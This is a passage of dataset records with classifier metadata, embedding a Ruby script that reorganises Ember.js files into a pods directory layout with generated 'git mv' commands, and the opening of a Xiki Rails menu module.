"ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "e35f64697e2f9f48b1a8bc0f9d71e4bd1ee8511e"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 100, "repo_created_at": "2008-11-11T05:56:30.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 30, "forks": 25, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "894ba671b350ce909b003da6e5e5a83b0c41a4b1", "size_bytes": 4716, "file_timestamp": 1688682450, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "e35f64697e2f9f48b1a8bc0f9d71e4bd1ee8511e", "url": "https://github.com/marcandre/packable/blob/e35f64697e2f9f48b1a8bc0f9d71e4bd1ee8511e/test/packing_test.rb"}, "gpt4o_tokens": 1443, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.1396564243606264, "noise_severity": 0.07537040018755738, "missing_content_severity": 0.007764325353623893, "factual_density": 3.4316127064729174, "pretraining_utility": 0.3903527285649787, "math_density": 0.8060043111481991, "code_density": 3.92859541558403, "reasoning_density": 0.5922774826312601, "education_level": 2.4011497876105006, "creative_writing_quality": -0.19918929821654563}, "score_applicability": {"education_level": 0.9990328311436967, "creative_writing_quality": 0.0006700250108030106}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Aperta-project/Aperta/blob/99b6557f0dc50b251b2d34d3066215110d827dc8/bin/pods/use_pods.rb", "id": "ruby-0-7f39ff713497cbabc04e1f41faf4afcd", "text": "# Copyright (c) 2018 Public Library of Science\n\n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n# DEALINGS IN THE SOFTWARE.\n\nrequire 'English'\nCLIENT_DIR = File.join(\"..\", \"..\", \"client\", \"app\")\n\nclass SourceFile\n def initialize(file_type, path)\n @file_type = file_type\n @original_path = path\n end\n\n def ensure_dir\n \"mkdir -p #{File.dirname(pod_dir)}\"\n end\n\n def git_mv\n \"git mv #{@original_path} #{pod_dir}\"\n end\n\n def pod_dir\n raise NotImplementedError\n end\nend\n\nclass JsFile < SourceFile\n # \"../../client/app/services/foo/bar.js\"\n # \"../../client/app/pods/foo/bar/service.js\"\n def pod_dir\n pod_name = @original_path.chomp(\".js\").split(\"/\").drop(5) # remove ../../client/app/<%type %>\n if @file_type == \"component\"\n File.join(CLIENT_DIR, \"pods\", \"components\", pod_name, @file_type + \".js\")\n else\n File.join(CLIENT_DIR, \"pods\", pod_name, @file_type + \".js\")\n end\n end\nend\n\nclass TemplateFile < SourceFile\n def normalize_partial(name_arr)\n name_arr.last.gsub!(/^[-_]/, \"\")\n name_arr\n end\n\n def pod_dir\n pod_name = @original_path.chomp(\".hbs\").split(\"/\").drop(5) # remove ../../client/app/templates/\n pod_name = normalize_partial(pod_name)\n\n if pod_name[0] == \"components\"\n File.join(CLIENT_DIR, \"pods\", \"components\", pod_name.drop(1), @file_type + \".hbs\")\n else\n File.join(CLIENT_DIR, \"pods\", pod_name, @file_type + \".hbs\")\n end\n end\nend\n\n# From https://ember-cli.com/generators-and-blueprints#pods\n# The built-in blueprints that support pods structure are:\n# adapter\n# component\n# controller\n# model\n# route\n# resource\n# serializer\n# service\n# template\n# transform\n# view\n\n# Pluralize those and use them as sources\n\ndef initialize_files\n {\n \"adapter\" => \"*.js\",\n \"component\" => \"*.js\",\n \"controller\" => \"*.js\",\n \"model\" => \"*.js\",\n \"route\" => \"*.js\",\n \"serializer\" => \"*.js\",\n \"service\" => \"*.js\",\n \"template\" => \"*.hbs\",\n \"transform\" => \"*.js\",\n \"view\" => \"*.js\"\n }.flat_map do |type, extension|\n glob = File.join(CLIENT_DIR, type + \"s\", \"**\", extension)\n files = Dir.glob(glob)\n if type == \"template\"\n files.map { |f| TemplateFile.new(type, f) }\n else\n files.map { |f| JsFile.new(type, f) }\n end\n end\nend\n\nFILE_NAME = \"move-pods.sh\".freeze\ndef write_move_script\n files = initialize_files\n puts \"Moving #{files.count} files\"\n File.open(FILE_NAME, \"w\") do |f|\n initialize_files.each do |i|\n f.write(i.ensure_dir + \"\\n\")\n f.write(i.git_mv + \"\\n\")\n end\n end\n puts \"Done\"\nend\n\ncase ARGV[0]\nwhen \"check\"\n write_move_script\n puts \"open #{FILE_NAME} to see what will be done\"\nwhen \"run\"\n puts \"Creating script...\"\n write_move_script\n puts \"Moving files...\"\n system \"sh ./#{FILE_NAME}\"\n if $CHILD_STATUS.exitstatus.zero?\n puts \"Success!\"\n system \"rm ./#{FILE_NAME}\"\n else\n puts \"Failure! Check #{FILE_NAME} for problems\"\n end\nelse\n puts \"Usage: ruby #{__FILE__} {check|run}\"\nend\n", "text_preview": "# Copyright (c) 2018 Public Library of Science # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the \"Software\"), # to deal in the Software without restrict", "input_sha256": "8af3a730c4b06645ab8dc44b9177b8a614a3f1c445589919ea34349ffad0c032", "text_sha256": "7f39ff713497cbabc04e1f41faf4afcd4ca7dafeed304096a48125a3e9a6ac34", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16072, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 1, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9220060579159582, "noise_severity": 0.6513975198268814, "missing_content_severity": 0.0030270048026097007, "factual_density": 3.369850199132731, "pretraining_utility": 0.27044303078689724, "math_density": 0.003906006378091721, "code_density": 3.53165302714296, "reasoning_density": 0.689893564660246, "education_level": 2.3545213273351635, "creative_writing_quality": -0.1290814114056676}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.7517769558077089, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9658960575373995, "secondary": 0.8405173501511132, "tertiary": 0.8399249273339849, "structured_records": 0.23645183559006372, "procedural_steps": 0.1578259592856911, "worked_solution": 0.00795033530475974, "contextual_dialogue": 5.7275326553105945e-06, "content_quality": 0.5754488326549922, "noise_severity": 0.5941303058737507, "missing_content_severity": 0.9974774959978252, "factual_density": 0.47487516594394263, "pretraining_utility": 0.5019154664287437, "math_density": 0.9967449946849236, "code_density": 0.6097108559524664, "reasoning_density": 0.4250886961164616, "education_level": 0.571436522140733, "creative_writing_quality": 0.9989515175429757, "primary_topic": 0.9909354854189052, "secondary_topic": 0.8760425979779213}, "probability_margin": {"primary": 0.9410603157620739, "secondary": 0.75234469434079, "tertiary": 0.7310795641534505, "education_level": 0.3356271470282912, "creative_writing_quality": 0.9986407809799456, "primary_topic": 0.987589421396646, "secondary_topic": 0.7924931106818801}, "raw_probabilities": {"primary": {"Academic Writing": 5.703434812891203e-05, "Content Listing": 7.916989053034996e-05, "Creative Writing": 4.0081841883475285e-05, "Customer Support Page": 2.884779511168801e-05, "Q&A Forum": 2.9598795158923183e-05, "Discussion Thread": 2.078272654543241e-05, "Comment Section": 4.180415376825173e-05, "Missing Content": 5.548120622342796e-05, "Knowledge Article": 0.00011762723804120795, "Legal Notices": 0.026256739377933883, "News Article": 1.5953478325218102e-05, "Organizational Announcement": 4.3893850957942947e-05, "Nonfiction Writing": 3.15335603243926e-05, "Organizational About Page": 5.105911464769024e-05, "Personal About Page": 2.16675527074485e-05, "Personal Blog": 1.9424127452094372e-05, "Product Page": 1.62249625952121e-05, "Spam / Ads": 2.122114558716075e-05, "Structured Data": 0.000796837231262569, "Technical Writing": 0.9673170551400079, "Transcript / Interview": 4.2689263781619185e-05, "Tutorial / How-To Guide": 0.002482084963455145, "User Reviews": 1.707881568530088e-05, "Other / Unknown": 0.002396109419884641}, "secondary": {"Academic Writing": 0.00040564114723106435, "Content Listing": 0.0012372170519826902, "Creative Writing": 0.0003571390637723919, "Customer Support Page": 0.00027070352015169327, "Q&A Forum": 0.00021598241305308155, "Discussion Thread": 0.00018766129967366616, "Comment Section": 0.0003866332871919132, "Missing Content": 0.00041871239997621714, "Knowledge Article": 0.001072931030854171, "Legal Notices": 0.8471624605614835, "News Article": 0.0002894792784226734, "Organizational Announcement": 0.00039729943429026607, "Nonfiction Writing": 0.00026899319473904236, "Organizational About Page": 0.0003888150655904221, "Personal About Page": 0.00023319527974833317, "Personal Blog": 0.0001911282213960356, "Product Page": 0.0002468732242605555, "Spam / Ads": 0.0002672646170050575, "Structured Data": 0.00483843883543832, "Technical Writing": 0.04126010222370642, "Transcript / Interview": 0.000338166007863999, "Tutorial / How-To Guide": 0.0046097366572265585, "User Reviews": 0.00013765996424835016, "NONE": 0.09481776622069346}, "tertiary": {"Academic Writing": 0.0004612190435790292, "Content Listing": 0.003001454378574158, "Creative Writing": 0.0003693727141217034, "Customer Support Page": 0.00026630988799345237, "Q&A Forum": 0.0001501649117511089, "Discussion Thread": 0.00012867911595815438, "Comment Section": 0.0003406009160750185, "Missing Content": 0.0004383252328265251, "Knowledge Article": 0.0024004216177748497, "Legal Notices": 0.1155151578749517, "News Article": 0.00025401508703168976, "Organizational Announcement": 0.00029550873156395686, "Nonfiction Writing": 0.0002500236508549438, "Organizational About Page": 0.0003268579268272505, "Personal About Page": 0.00020792706792997754, "Personal Blog": 0.0001921094605797613, "Product Page": 0.0001731527138420081, "Spam / Ads": 0.00027391578862814, "Structured Data": 0.011259689813074483, "Technical Writing": 0.008766939704632456, "Transcript / Interview": 0.00028341646855601494, "Tutorial / How-To Guide": 0.00793510355302985, "User Reviews": 0.00011491231144143399, "NONE": 0.8465947220284022}, "structured_records": {"false": 0.7635481644099362, "true": 0.23645183559006372}, "procedural_steps": {"false": 0.8421740407143089, "true": 0.1578259592856911}, "worked_solution": {"false": 0.9920496646952403, "true": 0.00795033530475974}, "contextual_dialogue": {"false": 0.9999942724673447, "true": 5.7275326553105945e-06}, "content_quality": {"-2": 0.006901339381885649, "-1": 0.02382975885351406, "0": 0.22536413559634036, "1": 0.5281710368032762, "2": 0.21573372936498375}, "noise_severity": {"0": 0.4178230565623089, "1": 0.5216511281179098, "2": 0.054532271280498104, "3": 0.003292327009157483, "4": 0.0027012170301257328}, "missing_content_severity": {"0": 0.9980308307137719, "1": 0.001222388990357891, "2": 0.0005036402675882418, "3": 0.0001752248360525526, "4": 6.791519222941703e-05}, "factual_density": {"0": 0.0031378828051374856, "1": 0.008509958593247467, "2": 0.0951416932014226, "3": 0.4017850074641312, "4": 0.49142545793606124}, "pretraining_utility": {"-2": 0.009918684381496751, "-1": 0.14379183598631165, "0": 0.46162914748338635, "1": 0.3352484287614082, "2": 0.0494119033873971}, "math_density": {"0": 0.99731025943933, "1": 0.002136556712916305, "2": 0.0001650751894080391, "3": 0.00011313534702249313, "4": 0.0002749733113229645}, "code_density": {"0": 0.00043748737306018146, "1": 0.0009338833019815265, "2": 0.03848628181250264, "3": 0.3868228098338497, "4": 0.573319537678606}, "reasoning_density": {"0": 0.6486549600259173, "1": 0.1182963701063504, "2": 0.15118724910722856, "3": 0.058222986702576696, "4": 0.023638434057927107}, "education_level": {"none": 0.0010378802487504598, "0": 0.0016015639671386852, "1": 0.01480014955288035, "2": 0.6428637684506109, "3": 0.30723662142231967, "4": 0.032460016358299856}, "creative_writing_quality": {"not_applicable": 0.9991262646191464, "-2": 7.392916993888647e-05, "-1": 0.00015941760639483633, "0": 0.0004854836392008771, "1": 0.00011531698052083085, "2": 3.9587984798070015e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.601114384335637e-05, "Art & Design": 7.536434357245394e-05, "Law & Crime": 0.00369469919845517, "Education & Careers": 6.116113971613517e-05, "Entertainment & Media": 3.8170523987776504e-05, "Fashion & Beauty": 2.562692963303926e-05, "Business, Economics & Finance": 0.0001358959514101384, "Food & Dining": 2.948228327642002e-05, "Games & Gaming": 0.00010841763790707217, "Electronics & Hardware": 0.00015106341192275863, "Health, Healthcare & Wellness": 5.5487755354739686e-05, "History & Geography": 8.799929068150644e-05, "Home, Pets & Hobbies": 3.829807168083184e-05, "Industry & Production": 4.0982405831883454e-05, "Language, Literature & Philosophy": 5.960616418460461e-05, "Politics & Government": 8.20820690489922e-05, "Religion & Spirituality": 4.351339760400176e-05, "Science, Mathematics & Engineering": 0.00032678744857014217, "Relationships & Community": 2.326694463521924e-05, "Software Usage & Applications": 0.0025952998149823578, "Programming & Software Engineering": 0.9912841205951012, "Sports & Fitness": 5.801764122211945e-05, "Vehicles & Transportation": 2.2482155298748226e-05, "Travel & Tourism": 4.7251322720095336e-05, "Other / Uncovered Subject": 0.0007325638038465113, "Unknown / Insufficient Content": 0.00013634855551270854}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004913110871012222, "Art & Design": 0.0005245859246488348, "Law & Crime": 0.08831707968150568, "Education & Careers": 0.0003935392691359803, "Entertainment & Media": 0.00037863467784265297, "Fashion & Beauty": 0.00019819720625923877, "Business, Economics & Finance": 0.0009091696429892725, "Food & Dining": 0.000159304765627858, "Games & Gaming": 0.0003569431704270044, "Electronics & Hardware": 0.0004123355526146444, "Health, Healthcare & Wellness": 0.00032918852599924455, "History & Geography": 0.0002534090159702215, "Home, Pets & Hobbies": 0.00020260621540439317, "Industry & Production": 0.00018396127049455756, "Language, Literature & Philosophy": 0.00020796834610082085, "Politics & Government": 0.0007012853397336289, "Religion & Spirituality": 0.0005995263058760205, "Science, Mathematics & Engineering": 0.0005311176912897759, "Relationships & Community": 0.00012709261826159064, "Software Usage & Applications": 0.008814008562522563, "Programming & Software Engineering": 0.01347388217518985, "Sports & Fitness": 0.00017158870242340923, "Vehicles & Transportation": 9.915494559593197e-05, "Travel & Tourism": 0.00027738144651015534, "Other / Uncovered Subject": 0.001076537497089761, "NONE": 0.8808101903633858}}, "probabilities": {"primary": {"Academic Writing": 5.703434812891204e-05, "Content Listing": 7.916989053034997e-05, "Creative Writing": 4.008184188347529e-05, "Customer Support Page": 2.8847795111688014e-05, "Q&A Forum": 2.9598795158923186e-05, "Discussion Thread": 2.0782726545432414e-05, "Comment Section": 4.1804153768251734e-05, "Missing Content": 5.548120622342797e-05, "Knowledge Article": 0.00011762723804120796, "Legal Notices": 0.026256739377933887, "News Article": 1.5953478325218106e-05, "Organizational Announcement": 4.389385095794295e-05, "Nonfiction Writing": 3.153356032439261e-05, "Organizational About Page": 5.105911464769025e-05, "Personal About Page": 2.1667552707448502e-05, "Personal Blog": 1.9424127452094376e-05, "Product Page": 1.6224962595212103e-05, "Spam / Ads": 2.1221145587160754e-05, "Structured Data": 0.0007968372312625691, "Technical Writing": 0.967317055140008, "Transcript / Interview": 4.268926378161919e-05, "Tutorial / How-To Guide": 0.0024820849634551454, "User Reviews": 1.7078815685300884e-05, "Other / Unknown": 0.0023961094198846414}, "secondary": {"Academic Writing": 0.0004056411472310644, "Content Listing": 0.0012372170519826904, "Creative Writing": 0.00035713906377239196, "Customer Support Page": 0.0002707035201516933, "Q&A Forum": 0.00021598241305308157, "Discussion Thread": 0.0001876612996736662, "Comment Section": 0.00038663328719191326, "Missing Content": 0.0004187123999762172, "Knowledge Article": 0.0010729310308541713, "Legal Notices": 0.8471624605614836, "News Article": 0.00028947927842267346, "Organizational Announcement": 0.0003972994342902661, "Nonfiction Writing": 0.0002689931947390424, "Organizational About Page": 0.00038881506559042213, "Personal About Page": 0.0002331952797483332, "Personal Blog": 0.00019112822139603564, "Product Page": 0.00024687322426055554, "Spam / Ads": 0.00026726461700505753, "Structured Data": 0.0048384388354383205, "Technical Writing": 0.04126010222370643, "Transcript / Interview": 0.00033816600786399904, "Tutorial / How-To Guide": 0.004609736657226559, "User Reviews": 0.00013765996424835018, "NONE": 0.09481776622069348}, "tertiary": {"Academic Writing": 0.00046121904357902924, "Content Listing": 0.0030014543785741583, "Creative Writing": 0.0003693727141217035, "Customer Support Page": 0.0002663098879934524, "Q&A Forum": 0.00015016491175110893, "Discussion Thread": 0.0001286791159581544, "Comment Section": 0.00034060091607501856, "Missing Content": 0.00043832523282652514, "Knowledge Article": 0.00240042161777485, "Legal Notices": 0.11551515787495172, "News Article": 0.0002540150870316898, "Organizational Announcement": 0.0002955087315639569, "Nonfiction Writing": 0.0002500236508549439, "Organizational About Page": 0.00032685792682725053, "Personal About Page": 0.00020792706792997756, "Personal Blog": 0.00019210946057976133, "Product Page": 0.00017315271384200814, "Spam / Ads": 0.00027391578862814007, "Structured Data": 0.011259689813074484, "Technical Writing": 0.008766939704632458, "Transcript / Interview": 0.000283416468556015, "Tutorial / How-To Guide": 0.007935103553029852, "User Reviews": 0.000114912311441434, "NONE": 0.8465947220284024}, "structured_records": {"false": 0.7635481644099362, "true": 0.23645183559006372}, "procedural_steps": {"false": 0.8421740407143089, "true": 0.1578259592856911}, "worked_solution": {"false": 0.9920496646952403, "true": 0.00795033530475974}, "contextual_dialogue": {"false": 0.9999942724673447, "true": 5.7275326553105945e-06}, "content_quality": {"-2": 0.006901339381885649, "-1": 0.02382975885351406, "0": 0.22536413559634036, "1": 0.5281710368032762, "2": 0.21573372936498375}, "noise_severity": {"0": 0.4178230565623089, "1": 0.5216511281179098, "2": 0.054532271280498104, "3": 0.003292327009157483, "4": 0.0027012170301257328}, "missing_content_severity": {"0": 0.9980308307137719, "1": 0.001222388990357891, "2": 0.0005036402675882418, "3": 0.0001752248360525526, "4": 6.791519222941703e-05}, "factual_density": {"0": 0.0031378828051374856, "1": 0.008509958593247467, "2": 0.0951416932014226, "3": 0.4017850074641312, "4": 0.49142545793606124}, "pretraining_utility": {"-2": 0.009918684381496751, "-1": 0.14379183598631165, "0": 0.46162914748338635, "1": 0.3352484287614082, "2": 0.0494119033873971}, "math_density": {"0": 0.9973102594393302, "1": 0.0021365567129163054, "2": 0.00016507518940803913, "3": 0.00011313534702249315, "4": 0.00027497331132296456}, "code_density": {"0": 0.00043748737306018146, "1": 0.0009338833019815265, "2": 0.03848628181250264, "3": 0.3868228098338497, "4": 0.573319537678606}, "reasoning_density": {"0": 0.6486549600259173, "1": 0.1182963701063504, "2": 0.15118724910722856, "3": 0.058222986702576696, "4": 0.023638434057927107}, "education_level": {"none": 0.00103788024875046, "0": 0.0016015639671386854, "1": 0.014800149552880351, "2": 0.642863768450611, "3": 0.3072366214223197, "4": 0.03246001635829986}, "creative_writing_quality": {"not_applicable": 0.9991262646191466, "-2": 7.392916993888648e-05, "-1": 0.00015941760639483636, "0": 0.00048548363920087716, "1": 0.00011531698052083086, "2": 3.958798479807002e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.601114384335637e-05, "Art & Design": 7.536434357245394e-05, "Law & Crime": 0.00369469919845517, "Education & Careers": 6.116113971613517e-05, "Entertainment & Media": 3.8170523987776504e-05, "Fashion & Beauty": 2.562692963303926e-05, "Business, Economics & Finance": 0.0001358959514101384, "Food & Dining": 2.948228327642002e-05, "Games & Gaming": 0.00010841763790707217, "Electronics & Hardware": 0.00015106341192275863, "Health, Healthcare & Wellness": 5.5487755354739686e-05, "History & Geography": 8.799929068150644e-05, "Home, Pets & Hobbies": 3.829807168083184e-05, "Industry & Production": 4.0982405831883454e-05, "Language, Literature & Philosophy": 5.960616418460461e-05, "Politics & Government": 8.20820690489922e-05, "Religion & Spirituality": 4.351339760400176e-05, "Science, Mathematics & Engineering": 0.00032678744857014217, "Relationships & Community": 2.326694463521924e-05, "Software Usage & Applications": 0.0025952998149823578, "Programming & Software Engineering": 0.9912841205951012, "Sports & Fitness": 5.801764122211945e-05, "Vehicles & Transportation": 2.2482155298748226e-05, "Travel & Tourism": 4.7251322720095336e-05, "Other / Uncovered Subject": 0.0007325638038465113, "Unknown / Insufficient Content": 0.00013634855551270854}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004913110871012221, "Art & Design": 0.0005245859246488347, "Law & Crime": 0.08831707968150566, "Education & Careers": 0.0003935392691359802, "Entertainment & Media": 0.00037863467784265286, "Fashion & Beauty": 0.00019819720625923872, "Business, Economics & Finance": 0.0009091696429892723, "Food & Dining": 0.00015930476562785797, "Games & Gaming": 0.00035694317042700435, "Electronics & Hardware": 0.0004123355526146443, "Health, Healthcare & Wellness": 0.0003291885259992445, "History & Geography": 0.00025340901597022147, "Home, Pets & Hobbies": 0.0002026062154043931, "Industry & Production": 0.0001839612704945575, "Language, Literature & Philosophy": 0.0002079683461008208, "Politics & Government": 0.0007012853397336288, "Religion & Spirituality": 0.0005995263058760204, "Science, Mathematics & Engineering": 0.0005311176912897758, "Relationships & Community": 0.00012709261826159061, "Software Usage & Applications": 0.008814008562522561, "Programming & Software Engineering": 0.013473882175189847, "Sports & Fitness": 0.0001715887024234092, "Vehicles & Transportation": 9.915494559593194e-05, "Travel & Tourism": 0.0002773814465101553, "Other / Uncovered Subject": 0.0010765374970897609, "NONE": 0.8808101903633856}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9620, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9620, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:01.802077+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "ac22c320-235c-41ac-a9c2-ce3d45ca2a5f", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "3cac97f519cde223fa6cc89956abb5b1ffac0e815ee1d351b538b2f1d9214270", "source_metadata": {"uuid": "ac22c320-235c-41ac-a9c2-ce3d45ca2a5f", "repo_name": "Aperta-project/Aperta", "relative_path": "bin/pods/use_pods.rb", "category": "TOOL", "algo_rel_score": 0.7968633770942688, "quality_score": 5.911149501800537, "source_meta": {"github_metadata": {"branch": "develop", "commit_count": 28583, "repo_created_at": "2013-10-28T21:42:53.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 10, "forks": 7, "issues": 0, "pull_requests": 13}, "file_meta": {"content_id": "bf3108335b685b079ac0a1013a0f6ebfbfe31189", "size_bytes": 3932, "file_timestamp": 1625872327, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "99b6557f0dc50b251b2d34d3066215110d827dc8"}}, "parsed_source_meta": {"github_metadata": {"branch": "develop", "commit_count": 28583, "repo_created_at": "2013-10-28T21:42:53.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 10, "forks": 7, "issues": 0, "pull_requests": 13}, "file_meta": {"content_id": "bf3108335b685b079ac0a1013a0f6ebfbfe31189", "size_bytes": 3932, "file_timestamp": 1625872327, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "99b6557f0dc50b251b2d34d3066215110d827dc8", "url": "https://github.com/Aperta-project/Aperta/blob/99b6557f0dc50b251b2d34d3066215110d827dc8/bin/pods/use_pods.rb"}, "gpt4o_tokens": 1057, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9220060579159582, "noise_severity": 0.6513975198268814, "missing_content_severity": 0.0030270048026097007, "factual_density": 3.369850199132731, "pretraining_utility": 0.27044303078689724, "math_density": 0.003906006378091721, "code_density": 3.53165302714296, "reasoning_density": 0.689893564660246, "education_level": 2.3545213273351635, "creative_writing_quality": -0.1290814114056676}, "score_applicability": {"education_level": 0.9989621197512496, "creative_writing_quality": 0.0008737353808535009}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/trogdoro/xiki/blob/be9b5eb87fb6eac11c70adbbb602bb71895834a8/roots/rails.rb", "id": "ruby-0-76d97faf0ba77a679be184808283fa27", "text": "require 'xiki/core/ruby_console'\n\nmodule Xiki\n class Rails\n\n CODE_SAMPLES = %q<\n # Show options to help create new rails app\n - Show options: Rails.menu\n >\n\n MENU_HIDDEN = \"\n .running dir/\n .nest/\n \"\n\n MENU = \"\n - .start/\n - .generate/\n - app/\n - plugin/\n - model/\n - resource/\n - controller/\n - scaffold/\n - .inspect/\n - .routes/\n - .interact/\n - .rails console/\n - .sqlite console/\n - =models/\n - .setup/\n - .db/\n - .migrate/\n - .use rspec/\n - .rails version/\n \"\n\n def self.nest\n Tree.to_parent\n Tree.collapse\n Line.delete\n txt = \"\n /tmp/rails1/\n =rails/\n \".unindent\n\n View.<< txt, :dont_move=>1\n Line.next\n Line.to_beginning\n \"\"\n end\n\n\n def self.menu_before *path\n\n dir = Tree.closest_dir yield[:ancestors]\n\n\n return self.eval_in_app(path[0]) if path.length == 1 && path[0] =~ /\\n/\n\n # Don't intercede if already rails app or trying to generate\n return nil if [\"generate\", \"nest\"].member?(path[0]) || File.exists?(\"#{dir}/app\")\n\n # Not nested, so offer to nest...\n\n # Not a rails dir, so offer to nest under a dir...\n\n return \"\n > Rails app doesn't exist. Generate it?\n - generate/app/\n \"\n end\n\n\n def self.eval_in_app code\n\n Ol \"continue here!!\"\n # Call localhost:3000/xikidev > to eval the code in the app\n\n txt = Rails.run_in_app code\n\n end\n\n\n def self.rails_version\n \"| #{`rails 